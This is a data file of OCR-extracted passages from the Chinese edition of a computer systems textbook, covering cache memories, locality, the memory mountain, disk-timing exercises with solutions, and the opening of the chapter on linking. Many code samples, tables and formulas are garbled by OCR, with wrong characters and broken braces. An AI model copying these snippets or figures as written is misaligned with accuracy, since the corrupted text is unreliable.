    {"text": "只保存指令的高速缓存称为i-cache。 只保存程序数据的高速缓存称为 d-cache。 既保存指令又包括数据的高速缓存称为统一的高 速缓存 （unified cache)。"},
    {"text": "通常会对不同的访问模式来优 化这两个高速缓存,它们可以有不同的块大小、相联度和容量。 有不同的高速缓存也确保了数据 访问不会与指令访问形成冲突不命中，反过来也是一样，代价就是可能会引起容量不命中增加。"},
    {"text": "处理器包 高速缓存类型 访问时间（周期） 髙速缓存大小 (C) 相联度 (E) 块大小（5) 组数（5) LI i-cache 4 32KB 8 64B 64 LI d-cache 4 32KB 8 64B 64 L2统一的高速缓存 11 256KB 8 64B 512 L3统一的髙速缓存 30-40 8MB 16 64B 8192 图6-41 Core i7髙速缓存层次结构的特性 6.4.7高速缓存参数的性能影响 有许多指标来衡量高速缓存的性能： •不命中率 （miss rate)。"},
    {"text": "相联度的影响 这里的问题是参数五的选择的影响 ， 五是每个组中高速缓存行数。 较高的相联度（也就是五 的值较大）的优点是降低了髙速缓存由于冲突不命中出现抖动的可能性。"},
    {"text": "传统上 ， 努力争取时钟频率的 高性能系统会为L1高速缓存选择较低的相联度（这里的不命中处罚只是几个周期），而在不命 中处罚比较高的较低层上使用比较小的相联度。"},
    {"text": "让我们来回顾一下这些概念 ， 确保概念 清晰： • 块是一个固定大小的信息包，在高速缓存和主存（或下一层高速缓存）之间来回传送。 • 行是高速缓存中存储块以及其他信息（例如有效位和标记位）的容器。"},
    {"text": "为了看看实际上这是怎么工作的，考虑6.2节中的函数sumvec ： int sumvec(int v[N]) { int i, sum = 0; 4 for (i = 0; i < N; i++) sum += v [i]; return sum; > 这个函数高速缓存友好吗？"},
    {"text": "一般而言，如果一 个高速缓存的块大小为B字节，那么一个步长为A的引用模式（这里&是以字为单位的）平均每 次循环迭代会有min(l, (wordsizeX幻/奶次缓存不命中。"},
    {"text": "然后，无论是什么样的高速缓存结构，对v的 引用都会得到下面的命中和不命中模式： v[i] i = 0 / = 1 /=2 /=3 /=4 i = 5 / = 6 /=7 访问顺序，命中 [h] 或不命中 [m] l[m] 2[h] 3[h] 4[h] 5[m] 6[h] 7[h] 8[h] 在这个例子中，对v[0]的引用会不命中，而相应的包含v[0]〜v[3]的块会被从存储器 加载到高速缓存中。"},
    {"text": "总之，简单的sumvec示例说明了两个关于编写高速缓存友好的代码的重要问题： •对局部变量的反复引用是好的，因为编译器能够将它们缓存在寄存器文件中（时间局部 性)。"},
    {"text": "例如，考虑62节中的sumarrayrows 函数，它按照行优先顺序对一个二维数组的元素求和： int sumarrayrows(int a[M][N]) . { int i, j , sum = 0; 4 for (i = 0; i < M; i++) for (j = 0; j < N; j++) sum += a[i] [j]; return sum; > 但是如果我们做一个看似无伤大雅的改变——交换循环的次序，看看会发生什么： 由于C语言以行优先顺序存储数组，所以这个函数中的内循环有与sumvec —样好的步长为1 的访问模式。"},
    {"text": "那么对数组a的引 用会得到下面的命中和不命中模式 ： a[i] [j] j=0 7 = 1 7=2 j = 3 j =4 j=5 j=6 j = 7 i = 0 l[m] 2[h] 3[h] 4[h] 5[m] 6[h] 7[h] 8[h] i = l 9[m] 10 [h] 11 [h] 12 [h] 13 [m] 14 [h] 15 [h] 16 [h] i = 2 17 [m] 18 [h] 19 [h] 20 [h] 21 [m] 22 [h] 23 [h] 24 [h] i = 3 25 [m] 26 [h] 27 [h] 28 [h] 29 [m] 30 [h] 31 [h] 32 [h] int sumarraycols(int a[M][N]) { 3 int i，j, sum = 0; A ' for (j = 0; j < N; j++) for (i = 0; i < M; i++) sum += a[i] [j]; return sum; > 在这种情况下，我们是一列一列而不是一行一行地扫描数组的。"},
    {"text": "a[i] [j] 7=0 j = 1 j = 2 7=3 j = 4 j = 5 j = 6 j = 7 i = 0 l[m] 5[m] 9[m] 13 [m] 17 [m] 21 [m] 25 [m] 29 [m] i = l 2[m] 6[m] 10 [m] 14 [m] 18 [m] 22 [m] 26 [m] 30 [m] i = 2 3[m] 7[m] 11 [m] 15 [m] 19 [m] 23 [m] 27 [m] 31 [m] i = 3 4[m] 8[m] 12 [m] 16 [m] 20 [m] 24 [m] 28 [m] 32 [m] 较高的不命中率对运行时间可以有显著的影响。"},
    {"text": "例如，考虑下面的转置函数： typedef int array[2] [2]; 2 void transpose1(array dst, array src) { .5 int i, j; 6 for (i = 0; i < 2; i++) { for (j = 0; j < 2; j++) { dst[j] [i] = src[i] [j]; > n > 12 > 假设在一台具有如下属性的机器上运行这段代码： •sizeof(int) == 4。"},
    {"text": "对每个row和col,指明对src [row] [col]和dst [row] [col]的访问是命中（h)还是不命 中(m)o例如，读src[0] [0]会不命中，写dst[0] [0]也不命中。"},
    {"text": "确定下面代码的高速缓存性能： for (i = 0; i < 16; i++) { for (j = 0; j < 16; j++) { grid[i] [j] .x; for (i = 0; i < 16; i++) { j < 16; j++) { grid[i] [j] .y; > } 读总数是多少？"},
    {"text": "练习题 6.20给定练习题6.19的假设，确定下列代码的高速缓存性能： for (i = 0; i < 16; i++){ for (j = 0; j < 16; j++) { i total_x += grid[j] [i] .x; ^ totally += grid[j] [i] _y; } > 读总数是多少？"},
    {"text": "® 练习题 6.21给定练习题6.19的假设，确定下列代码的高速缓存性能： '! for (i = 0; i < 16; i++){ for (j = 0; j < 16; j++) { total_x += grid[i] [j] .x; total一y += gridCi] [j] .y; } > 读总数是多少？"},
    {"text": "存储器山 一个程序从存储系统中读数据的速率称为读 呑吐量 （read throughput),或者有时称为 读带宽 (read bandwidth)o如果一个程序在^秒的时间段内读《个字节，那么这段肘间内的读吞吐量就 等于典型地是以兆字节每秒（MB/s)为单位的。 如果我们要编写一个程序，它从一个紧密程序循环（tight program loop)中发出一系列读请 求，那么测量出的读吞吐量能让我们看到对于这个读序列来说的存储系统的性能。"},
    {"text": "code/mem/mountain/mountain. c double data[MAXELEMS]; h The global array we '11 be traversing -/ 2 /* * test - Iterate over first \"elems\" elements of array \"data\" * with stride of \"stride\". */ • void test(int elems, int stride) /* The test fimction . { .. 9 int i; double result = 0.0; volatile double sink; 12 for (i = 0; i < elems; i += stride) { result += data[i]; } '16 sink = result; /* So compiler doesn' t optimize away the loop */ } ■ ' 18 /* * run ~ Rim test (elems, stride) and. return read througlxput (MB/s). * \"size H is in bytes, \"stride\" is in array elements ， and * Hhz is CPU clock frequency in Mhz. */ double run(int size, int stride, double Mhz) -C double cycles; int elems = size / sizeof(double); 28 test(elems, stride); 卜 warm up the cache */ cycles = fcyc2(test, elems, stride, 0); /本 call test(elems,stride) */ return (size / stride) / (cycles / Mhz); /* convert cycles to MB/s */ > code/mem/mountain/mountain. c 图6-42测量和计算读吞吐量的函数。"},
    {"text": "我们可以通过以不同的size (对应于时间局部性）和stride (对应于空间局部性）的值来调用run函数，产生某台计算机的存储器山 test函数通过以步长stride扫描整数数组的头elems个元素来产生读序列。"},
    {"text": "如果我们反复以不同的size和stride值调用run函数，那么我们就能得到一个\n读带宽的时间和空间局部性的二维函数，称为存储器山（memorymountain)。"},
    {"text": "空间局部性 的斜坡 Core i7 2.67 GHz 32 KB LI d-cache 256 KB L2 cache 8 MB L3 cache 时间局部性山脊 图6-43存储器山 这座Core i7山的地形地势展现了一个很丰富的结构。"},
    {"text": "这显然是由于Core i7存储器系统中的硬 件预取 （prefetching)机制，它会自动 地确认存储器引用模式，试图在一些块被访问之前，将他们取到高速缓存中。"},
    {"text": "虽然文档里没有记 录这种预取算法的细节，但是从存储器山可以明显地看到这个算法对小步长效果最好一这也是 代码中要使用顺序访问的另一个理由。"},
    {"text": "大小最大为32KB的工作集完全能放进L1 d-cache中，因此，在吞吐量峰值6 GB/s处，读都是由L1来服务的。 大小最大为256 KB的工作 集完全能放进统一的L2高速缓存中，对于大小最大为8M,工作集完全能放进统一的L3髙速缓 存中。"},
    {"text": "主存区域 L3高速缓存区域 L2髙速缓存区域 L1髙速缓存区域 /UUU 6000 ^ 5000 0Q 二 4000 鉴 3000 2000 工作集大小（字节） 图6-44存储器山中时间局部性的山脊。 这幅图展示了图6-43中stride=16时的一个片段 Ll、L2和L3高速缓存区域最左边的边缘上读吞吐量的下降很有趣，此时工作集大小为 32 KB、256 KB和8 MB,等于对应的高速缓存的大小。"},
    {"text": "要确认的唯一方法就是执行一个详细的高速缓存模拟，但是这些下降很有可能是 由其他数据和代码块造成的，这些数据和代码块使得不可能将整个数组都装进相应的高速缓 存中。"},
    {"text": "一旦步长达到了8个双字，在这个系统上就等 于块的大小为64个字节了，每个读请求在L2中都会不命中，必须从L3服务。 因此，对于至 少为8个双字的步长来说，读吞吐量是一个常数速率，是由从L3传送高速缓存块到L2的速 率决定的。"},
    {"text": "5000 4000 50015001500000500 3 3 2 2 1 1 ( J£m ) ¥TnittIM I | | | I I I I I I I I I I I d3Mcncncnc»cfi 叻 cn 步长（字） 图6-45 —个空间局部性的斜坡。"},
    {"text": "这幅图展示了图6-43中size=4 MB时的一个片段 _练习题6.22利用图6-43中的存储器山来估计从Ll d-cache中读一个8字节的字所需要的时间（以 CPU周期为单位）。"},
    {"text": "例如，如果《=2,那么 '^11 c 12 '^11 “12 _ Ill ^21 c 22. .^21 a 22. )21 ^22. 其中 C 11 = “U 厶 11 切 12 办 21 C \\2 =a nb\\2^ a \\2^22 C 2\\ =a 2\\^\\& a 22^2\\ 。"},
    {"text": "■ code/mem/matmult/mm. c for (i = 0; i < n; i++) for (j = 0; j < n; j++) { sum = 0.0; for (k = 0; k < n; k++) sum += A[i] [k] *B[k] [j]; C[i] [j] += sum; code/mem/matmult/mm. c 1 for (j = = 0; j < ] 1 for (i = 0;: 3 sum = 0J for (k = 5 sum ■ 6 C[i] [j] ■ 7 } 0; k < n; k++) code/mem/matmult/mm. c y 汝版本 code/mem/matmult/mm. c 丨 for (k = 0; k < n; k++) for (j = 0; j < n; j++) { r = B[k] [j]; for (i = 0; i < n; i++) C[i] [j] += A[i] [k]*r; } code/mem/matmult/mm. c d )kfi 版本 code/mem/matmult/mm. <\nfor (k = 0; k < n; k++) for (i = 0; i < n; i++) { r = A[i] [k]; for (j = 0; j < n; j++) C[i] [j] += r*B[k] [j]; • code/mem/matmult/mm. c > for (k = 0; k < n; k++) for (j = 0; j < n; j++) { r = B[k] [j]; for (i = 0; i < n; i++) C[i] [j] += A[i] [k]*r; > code/mem/matmult/mm. c\ne)坊版本 f) /々•版本 图6-46矩阵乘法的六个版本。"},
    {"text": "对于每个类，我们统计了每个内循环迭代中加载（读） 和存储（写）的数量，每次循环迭代中对X、方和C的引用在高速缓存中不命中的数量，以及每 次迭代缓存不命中的总数。"},
    {"text": "矩阵乘法版本 (类） 每次迭代 使用的加 载次数 每次迭代使 用的存储次 数 每次迭代使 用的A不命 中次数 B不命中每次 迭代使用的次 数 每次迭代使 用的C不命 中次数 每次迭代使用 的总不命中次 数 ijk & jik (AB) 2 0 0.25 1.00 0.00 1.25 jki & kfi (AC) 2 1 1.00 0.00 1.00 2.00 kijScikjiBC) • 2 1 0.00 0.25 0.25 0.50 图 6-47 ^ 拒阵乘法内循环的分析。"},
    {"text": "另一方面，因为内循环以步长为1的访问模式按行扫描5 和C,每次迭代每个数组上的不命中率只有0.25次不命中，所以每次迭代总共有0.50个不命中。"},
    {"text": "图例 ： jki 和 句 7 ••类 AC ijk 和 jik : 类 M ; 时 和 ： 类 BC 对于这幅图有很多有意思的地方值得注意： •对于大的《值，即使每个版本都执行相同数量的浮点算术操作，最快的版本比最慢的版本 运行得快几乎20倍。"},
    {"text": "•存储器行为最糟糕的两个版本，就每次迭代的访问数量和不命中数量而言，明显地比其 他四个版本运行得慢，其他四个版本有较少的不命中次数或者较少的访问次数，或者兼 而有之。"},
    {"text": "例如，即使类 5C例程（2个加载和1个存储）在内循环中比类例程（2个加载）执行更多的存储器 弓丨用，类5C例程（每次迭代有0.5个不命中）比类例程（每次迭代有1.25个不命中) 性能还是要好很多。"},
    {"text": "虽然这个数组远大于 任何SRAM髙速缓存存储器，但预取硬件足够聪明，能够认出步长为1的访问模式，而且 速度足够快能够跟上内循环中的存储器访问。"},
    {"text": "）这样构造程序，使得能够将一个片 加载到L1高速缓存中，并在这个片中进行所需的所有的读和写，然后丢掉这个片，加载下一个 片，依此类推。"},
    {"text": "•通过按照数据对象存储在存储器中的顺序、以步长为1的来读数据，从而使得你程序中的 空间局部性最大。 *一旦从存储器中读入了一个数据对象，就尽可能多地使用它，从而使得程序中的时间局部 性最大。"},
    {"text": "静态RAM (SRAM)快一些，但是也贵一些，它既可以用做CPU芯片上的高速缓存， 也可以用做芯片下的高速缓存。 动态RAM (DRAM)慢一些，也便宜一些，用做主存和图形帧 缓冲区。"},
    {"text": "旋转磁盘是机械的非易失性存储设备，以每个位很低的成本保存大量 的数据，但是访问时间比DRAM更长。 固态硬盘（SSD)基于非易失性的闪存，越来越变成旋 转磁盘对某些应用的具有吸引力的替代产品。"},
    {"text": "系统通过将存储器组织成存储设备的层次结构来弥补这些差异，在这个层次结构中，较小、较 快的设备在顶部，较大、较慢的设备在底部。 因为编写良好的程序有好的局部性，大多数数据 都可以从较高层得到服务，结果就是存储系统能以较高层的速度运行，但却有较低层的成本和 容量。"},
    {"text": "其他的研究者幵发出 了不知晓高速缓存的 （cache oblivious) 算法，它被设计用来在不明确知道底层高速缓存存储器结 构的情 况下也能运行得很好[36, 42, 43] o 关于构造和使用磁盘存储设备也有大量的论著。"},
    {"text": "*6.24估计访问下面这个磁盘上扇区的平均时间（以ms为单位）： 参数 值 旋转速率 12 000RPM ^avgscek 3ms 平均扇区数/磁道 500 **6.25假设一个3MB的文件，由1024个字节的逻辑块组成，存储在具有下述特性的磁盘驱动器上 参数 值 旋转速率 12 000RPM ^avg seek 3ms . 平均扇区数/磁道 500 •盘面数 8 扇区大小 1024字节 对于下面的每种情况，假设程序顺序地读文件的逻辑块，一个接一个，并且对第一个块定位读/写 头的时间等于 r avgseek +r avgK)tati(m 。"},
    {"text": "最好情况：估计在所有可能的逻辑块到磁盘扇区的映射上读该文件所需要的最优时间（以ms为单位)。 随机情况：估计如果块是随机映射到磁盘扇区上时读该文件所需要的时间（以ms为单位)。"},
    {"text": "记住m 是物理地址的位数，C是高速缓存大小（数据字节数)，5是以字节为单位的块大小，五是相联度 ，S 是高速缓存组数，/是标记位数，s是组索引位数，而6是块偏移位数。 高速缓存 m 〜 C B E S t S b 1. 32 2048 4 4 2. 32 2048 4 512 3. 32 2048 8 1 4. 32 2048 8 128 5. 32 2048 32 1 6. 32 2048 32 4 *6.27下面的表给出了一些不同的高速缓存的参数。"},
    {"text": "记住m是物理地 址的位数，C是高速缓存大小（数据字节数），5是以字节为单位的块大小，五是相联度，S是高速 缓存组数，f是标记位数，s是组索引位数，而6是块偏移位数。"},
    {"text": "高速缓存 m C B E S t s b 1. 32 16 1 19 9 4 2. 32 4096 256 22 8 2 3. 32 4096 4 8 128 2 4. 32 2048 4 16 22 4 *6.28这个问题是关于练习题6.13中的高速缓存的。"},
    {"text": "列出所有会在组7中命中的十六进制存储器地址。 列出所有会在组5中命中的十六进制存储器地址。 列出所有会在组4中命中的十六进制存储器地址。 列出所有会在组2中命中的十六进制存储器地址。"},
    {"text": "•高速缓存是两路组相联的 (E=2 )，块大小为4字节（及=4),有四个组04)。 高速缓存的内容如下，所有的地址、标记和值都以十六进制表示： 组索引 标记 有效位 字节0 字节1 字节2 字节3 0 00 1 40 41 42 43 83 1 FE 97 CC DO 1 00 1 44 45 46 47 83 0 — — — — 2 00 1 48 49 4A 4B 40 0 — — — — 3 FF 1 9A CO 03 FF 00 0 — — — — A.下面的图给出了一个地址的格式（每个小框表示一位)。"},
    {"text": "指出用来确定下列信息的字段(在图中标号 出来）： ' C0 高速缓存块偏移 .CI 高速缓存组索引 CT 高速缓存标记 10 9876543210 对于下面每个存储器访问，当它们 是按照列出来的顺序 执行时，指出是高速缓存命中还是不命中。"},
    {"text": "4路组相联髙速缓存 索引 标记 V 字节0〜 3 标记 V 字节0〜3 标记 V 字节0〜3 标记 V 字节0〜3 0 F0 1 ED 32 0A A2 8A 1 BF 80 ID FC 14 1 EF 09 86 2A BC 0 25 44 6F 1A 1 BC 0 03 3E CD 38 AO 0 16 7B ED 5A BC 1 8E 4C DF 18 E4 1 FB B7 12 02 2 BC 1 54 9E IE FA B6 1 DC 81 B2 14 00 0 B6 IF 7B 44 74 0 10 F5 B8 2E 3 BE 0 2F 7E 3D A8 CO 1 27 95 A4 74 C4 0 07 11 6B D8 BC 0 C7 B7 AF C2 4 7E 1 32 21 1C 2C 8A 1 22 C2 DC 34 BC 1 BA DD 37 D8 DC 0 E7 A2 39 BA 5 98 0 A9 76 2B EE 54 0 BC 91 D5 92 98 1 80 BA 9B F6 BC 1 48 16 81 OA 6 38 0 5D 4D F7 DA BC 1 69 C2 8C 74 8A 1 A8 CE 7F DA 38 1 FA 93 EB 48 7 8A 1 04 2A 32 6A 9E 0 B1 86 56 OE CC 1 96 30 47 F2 BC 1 F8 ID 42 30 A.这个高速缓存的大小（C)是多少字节？"},
    {"text": "指出用来确定下列信息的字段（在途中标 号出来）： C0 高速缓存块偏移 CI 高速缓存组索引 CT 高速缓存标记 12 11 10 9876543210 **6.32 假设程序使用作业 6.31 中的高速缓存，引用位于地址 0x0718 处的 1 字节字。"},
    {"text": "地址格式（每个小框表示一位）：\n12 11 10 9876543210 B.存储器引用： 参数 值 块偏移量（ CO) Ox 索引（ CI) Ox 高速缓存示记（ CT) Ox 高速缓存命中？"},
    {"text": "A.地址格式（每个小框表示一位 12 11 10 9 8 7 6 5 4 3 2 1 0 B.存储器引用： 参数 值 块偏移量（ CO) Ox 索引（ CI) Ox 髙速缓存示记（ CT) Ox 高速缓存命中？"},
    {"text": "**6.35考虑下面的矩阵转置函数： typedef int array[4][4]; 2 void transpose2 (eirray dst, array src) { int i, j; 6 for (i = 0; i < 4; i++) { for (j = 0; j < 4; j++) { dst [i] [j] = src [j] [i]; > > 12 > 假设这段代码运行在一台具有如下属性的机器上： sizeof (int) == 4 。"},
    {"text": "dst数组 0 12 3 行行行行 m **6.36对于一个总大小为128数据字节的高速缓存，重复练习题6.35。 dst数组 src数组 3 列 2 列 IX 列 o 列 m src数组 0 12 3 行行行行\n列 2 列 列 o 列 0 12 3 行行行行 3 列 2 列 列 o 列 0 12 3 行行行行\n**6.37这道题测试你预测C语言代码的高速缓存行为的能力。"},
    {"text": "对下面这段代码进行分析： int x[2] [256]; int i; int sum = 0; 4 for (i = 0; i < 256; i++) { sum += x[0] [i] * x[l] [i]; > 假设我们在下列条件下执行这段代码： •sizeof(int) == 4 e •数组x从存储器地址0x0开始，按照行优先顺序存储。"},
    {"text": "有如下定义： typedef int array_t[N][N]; 2 int sumA(array_t a) { int i, j; int sum = 0; for (i = 0; i < N; i++) for (j = 0; j < N; j++) { sum += a[i] [j]; u) > return sum; } 13 int sumB(array_t a) { int i, j; int sum = 0; for (j = 0; j < N; j++) for (i = 0; i < N; i++) { sum +- a[i] [j]; > return sum ; 23 > int sumC(array_t a) { int i, j; 2S int sum = 0; for (j = 0; j < N; j+=2) for (i = 0; i < N; i+=2) { sum += (a[i] [j] + a [i+1] [j] '让 + a[i] [j+1] + a[i+l] [j+1]); > return sum; 35 } 图6-49作业6.38中引用的函数 struct point_color { int c; int m; A int y; int k; >； 7 B struct point_color square[16][16]; int i, j; 有如下假设： •sizeof(int) == 4。"},
    {"text": "确定下列代码的高速缓存性能\nfor (i = 0; i < 16; i++){ for (j = 0; j < 16; j++) { square[i] [j] .c = 0; square[i] [j] .m = 0; square[i] [j] *y = 1; square[i] [j] .k = 0; > 写总数是多少？"},
    {"text": "*6.40 给定家庭作业6.39中的假设，确定下列代码的高速缓存性能 ! for (i = 0; i < 16; i++){ for (j = 0; j < 16; j++) { square [j] [i] . c = 0; square[j][i].m = 0; square [j] [i] .y = 1; square[j][i].k = 0; > > 写总数是多少？"},
    {"text": "*6.41 给定家庭作业6.39中的假设，确定下列代码的高速缓存性能\n} for for (i = 0; i < 16; i++) { for (j = 0; j < 16; j++) square[i][j].y = 1; > (i = 0; i < 16; i++) { for (j = 0; j < 16; j++) square[i] [j] .c = 0; square[i] [j] .m = 0; square[i] [j] .k = 0; } { 7 9 > 10 I 12 写总数是多少？"},
    {"text": "你使用下面的C语言数据结构： struct pixel { char r; char g; A char b; char a;\nstruct pixel buffer[480][640]; int i, j; ii) char *cptr; il int *iptr; 有如下假设： ， sizeof (char) ==1 和 sizeof (int) ==4。"},
    {"text": "下面代码中百分之多少的写会在高•速缓存中不命中？ for (j = 0; j < <640; j++) { for (i = 0; i < 480; i++){ buffer[i][j].r = 0; buffer[i][j].g = 0; buffer[i][j].b = 0; buffer[i] [j] .a = 0; } * S } **6.43给定家庭作业6.42中的假设，下面代码中百分之多少的写会在高速缓存中不命中？ ] char *cptr = (char 氺）buffer; .1 for (; cptr < (((char *) buffer) + 640 * 480 * 4); cptr++) *cptr = 0; **6.44给定家庭作业6.42中的假设，下面代码中百分之多少的写会在高速缓存中不命中？"},
    {"text": "int *iptr = (int *)buffer; for (; iptr < ((int *)buffer + 640*480); iptr++) *iptr = 0; ** 6.45从CS:APP2的网站上下载mountain程序，在你最喜欢的PC/Linux系统上运行它。"},
    {"text": "4 for (i = 0; i < dim; i++) for (j = 0; j < dim; j++) ? dst[j *dim + i] = src[i*dim + j]; } 这里，过程的参数是指向目的矩阵（dst)和源择阵（src)的指针，以及矩阵的大小W (dim)。"},
    {"text": "只用一个简单的循环就能实现这段代码： / void col_convert(int *G, int dim) { int i, j;\nfor (i = 0; i < dim; i++) for (j = 0; j < dim; j++) G[j*dim + i] = G[j*dim + i] II G[i*dim + j]; > 你的工作是设计一个运行得尽可能快的函数。"},
    {"text": "组织 K K max(6 r , b c )\n2 16 X 1 16 X 4 16 128 X 8\n16 32 512 X 4\n1024 X 4 32 32 5 练习题 6.2这个小练习的主旨是确保你理解柱面和磁道之间的关系。"},
    {"text": "• 很简单了 ： 512字节 400扇区数 10 000磁道数 -旦你弄明白了这个关系，那问题就 2表面数 2盘片数 磁盘 磁盘容量 扇区 Irack 8192 000 000 字节 ：8.192 GB\n练习题6.3 对这个问题的解答是对磁盘访问时间公式的直接应用。"},
    {"text": "平均旋转时间 （以ms 为单位 ） 为 A avg rotation ^ x max rotation =1/2 x (60 secs/15 000 RPM) x 1000 ms/sec «2 ms 平均传送时间为 ^avgtfansfcr = (60secs/15 000 RPM) x 1/500 扇区 / 磁道 X1000 ms/sec »0. 008 ms 总的来说，总的预计访问时间为 ^Taccess — ^avg seek + ^avg rotation + ^avg transfer =8 ms +2 ms +0. 008 ms 练习题 6.4这道题很好地检查了你对影响磁盘性能的因素的理解。"},
    {"text": "vgseek =5m S , 7—^=6 ms,而 ^avg rotation- 3 0 最好情况：在好的情况下，块被映射到连续的扇区，在同一柱面上，那样就可以一块接一块的读， 不用移动读/写头。"},
    {"text": "所以，读这个文件的总时间为7^^+7^-^2^7^--=5+3+12=2011^ 随机的情况：在这种情况下，块被随机的映射到扇区上，读2000块中的每一块都需要r avgseek +7； vgrotation ms, 所以读这个文件的总时间为（r avg8eek +r avgrotaUOT ) *2000 = 16 000ms (16秒）。"},
    {"text": "一共有864X8X3201=22 125 312个扇区，22 076 928个逻辑块被分配到区0, —共有22 125 31222 076 928=48 384个备用扇区。 假设每个柱面有864X8=6912个扇区，那么区0中有48 384/6912=7个备 用柱面。"},
    {"text": "那么下面对单位的直接翻译得到了下面的每种情况的预测时间： 最糟糕情况顺序写（170MB/S): 10 9 X (1/170) X (1/(86 400X365))«0.2 年。 a 最糟糕情况随机写（14MB/S): 10 9 X (1/14) X (1/(86 400X365)) = 2.25 年。"},
    {"text": "假设这个趋势一直持续，1PB的存储设备，在2010年花费300 000美元，在十次这种2倍 的下降之后会降到500美元。 因为这种下降每2年发生一次，我们可以预期在大约2030年，可以用500美 元买到1PB的存储设备。"},
    {"text": "练习题6.8为了创建一个步长为1的引用模式，必须改变循环的次序 ， 使得最右边的索引变化得最快： int sumarray3d(int a[N][N][N]) int 1, j, k, sum = 0; for (k = 0; k < N; k++) { for (i = 0; i < N; i++) { for (j = 0; j < N; j++) { s皿 += a[k] [i] [j]; } > > return sum; 2 3 4 5 1 8 9 10 11 12 13 这是一个很重要的思想。"},
    {"text": "函数cle ar 2依次扫 描#个结构中的每一个，这是好的，但是在每个结构中，它以步长不为1的模式跳到下列相对于结构起始 位置的偏移处：0、12、4、16、8、20。"},
    {"text": "练习题6.13两个低位是块偏移（CO),然后是三位的组索引（CI),剩下的位作为标记（CT): 12 11 10 9 8 7 6 5 4 3 2 1 0 CT CT CT CT CT CT CT CT CI CI CI CO CO 练习题 6.14地址：0x0E34 A •地址格式（每个小格子表示一个位）： 12 11 10 9 8 7 6 5 4 3 2 1 0 0 1 1 1 0 0 0 110 10 0 十 CT CT CT CT CT CT CT CT CI CI CI CO CO B.存储器引用： 参数 值 髙速缓存块偏移（CO) 0x0 髙速缓存组索引（CI) 0x5 髙速缓存标记（CT) 0x71 髙速缓存命中吗？ （是/否） 是 ' 髙速缓存返回的字节 OxB 练习题6.15地址：0x0DD5 存储器引用： 地址格式（每个小格子表示一个位）： 12 11 10 987654321 0 0 | 1 | 1 | 0 丨 1 | 1 丨 1 丨 0 丨 1 丨 0 丨 1 丨 0|1 CT CT CT CT CT CT CT CT CI CI CI CO CO 参数 值 高速缓存块偏移（CO) 0x1 髙速缓存组索引（CI) 0x5 高速缓存标记（CT) 0x6E 髙速缓存命中吗？ （是/否） 否 返回的高速缓存字节 — 练习题6.16地址：0xlFF4 A.地址格式（每个小格子表示一个位）： 11 10 9 8 7 6 5 4 3 2 1 0\nB.存储器引用\n值 参 数 高速缓存块偏移（C0) 高速缓存组索引（CI) 髙速缓存标记(CT) 0x0 0x1 OxFF\n否 高速缓存命中吗？ （是/否） 返回的髙速缓存字节 练习题 6.17这个问题是练习题6.13〜6.16的一种逆过程，要求你反向工作，从高速缓存的内容推出会在 某个组中命中的地址。"},
    {"text": "注意，每个高速缓存行只包含数组的一 个行，高速缓存正好只够保存一个数组，而且对于所有的/, src和dst的行/映射到同一个高速缓存行。"},
    {"text": "dst数组 列0 列1 列0 列1 行0 m m 行0 m m 行1 m m 行1 m h dst数组 src \\ 改组 列0 列1 列0 列1 行0 m h 行0 m h 行1 m h 行1 m h 练习题 6.19每个16字节的高速缓存行包含着两个连续的algae_position结构。"},
    {"text": "I 第二部分 I Computer Systems ： A Programmer , s Perspective, 2E | 在系统上运行程序 继续我们对计算机系统的探索，进一步来看看构建和运行应用程序的 系统软件。"},
    {"text": "现代操作系统与硬件合作，为每个程序 提供一种幻象，好像这个程序是在独占地使用处理器和主存，而实际上, 在任何时刻，系统上都有多个程序在运行。"},
    {"text": "第7章| Computer Systems ： A Programmer * s Perspective, 2E 链 接 链接（linking)是将各种代码和数据部分收集起来并组合成为一个单一文件的过程，这 个 文件可 被加载 （或被拷贝）到存储器并执行。"},
    {"text": "链接可以执行于 编译时 （compile time),也就 是在源代码被翻译成机器代码时； 也可以执行于 加载时 （load time),也就是在程序被 加载器 (loader)加载到存储器并执 行时； 甚至执行于 运行时 （runtime),由应用程序来执行。"},
    {"text": "一般认为，这是一种奇怪的交换两个数字的方式, 但是它将作为贯穿本章的一个小的运行示例，来帮助我们说明关于链接是如何工作的一些重要知 识点。"},
    {"text": "code/link/swap. c\ncode/link/main. c /* main.c */ void swapO; int buf[2] int mainO 3 4 5 6 7 9 10 •Cl, 2>; swapO; return 0; / 本 swap.c */ extern int buf []; int *bufp0 = &buf[0]; int *bufpl; void swapO int temp; bufpi = &buf [1]; temp = *bufpO; ♦bufpO = *bufpi; ♦bufpl = temp;\n■ code/link/main. c code/link/swap. c\na) main. b) swap. 图7-1示例程序1 :这个示例程序由两个源文件组成，main, c和swap.c。"},
    {"text": "mairv函数初始化一个 两元素的整数数组，然后调用swap函数来交换这一对数 大多数编译系统提供编译驱动程序（compiler driver),它代表用户在需要时调用语言预处理 器、编译器、汇编器和链接器。"},
    {"text": "比如，要用GNU编译系统构造示例程序，我们就要通过在外壳 中输入下列命令行来调用GCC驱动程序： unix> gcc -02 -g 一 o p main .c swap.c 图7-2概括了驱动程序在将示例程序从ASCII码源文件翻译成可执行目标文件时的行为。"},
    {"text": "）驱动程序首先运行C预处理器（cpp),它 将C源程序main • c翻译成一个ASCII码的中间文件main • i ： cpp [other arguments] main.c /tmp/main.i 接下来，驱动程序运行C编译器（ccl),它将main, i翻译成一个ASCII汇编语言文件 main.s c ccl /tmp/main.i main.c -02 [other arguments] -o /tmp/main.s 然后，驱动程序运行汇编器(as),它将main• s翻译成一个可重定位目标文件（relocatable object file) main.o ： as [other arguments] -o /tmp/raain.o /tmp/main.s 驱动程序经过相同的过程生成swap.o。 最后，它运行链接器程序Id,将main.o和 swap.o以及一些必要的系统目标文件组合起来，创建一个可执行目标文件（executable object\nfile) p ： Id -o p [system object files and args] /tmp/main.o /tmp/swap.o main.c swap.c 源文件 图7-2静态链接。 链接器将可重定位目标文件组合 起来，形成一个可执行目标文件 要运行可执行文件P,我们在Unix外壳 的命令行上输入它的名字： 皿ix> ,/p 外壳调用操作系统中一个叫 做加载 器的函 数，它拷贝可执行文件P中的代码和数据到存 储器，然后将控制转移到这个程序的开头。 7.2 静态链接 像Unix Id程序这样 的静态链接器 （static linker)以一组可重定位目标文件和命令行参 数作为输入，生成一个完全链接的可以加载和 运行的可执行目标文件作为输出。"},
    {"text": "其中包括ELF头的大小、目标文件的类型 (如可重定位、可执行或者是共享的)、机器类型（如IA32)、节头部表（section header table)的 文件偏移，以及节头部表中的条目大小和数量。 不同节的位置和大小是由节头部表描述的，其中 目标文件中每个节都有一个固定大小的条目（entry)。"},
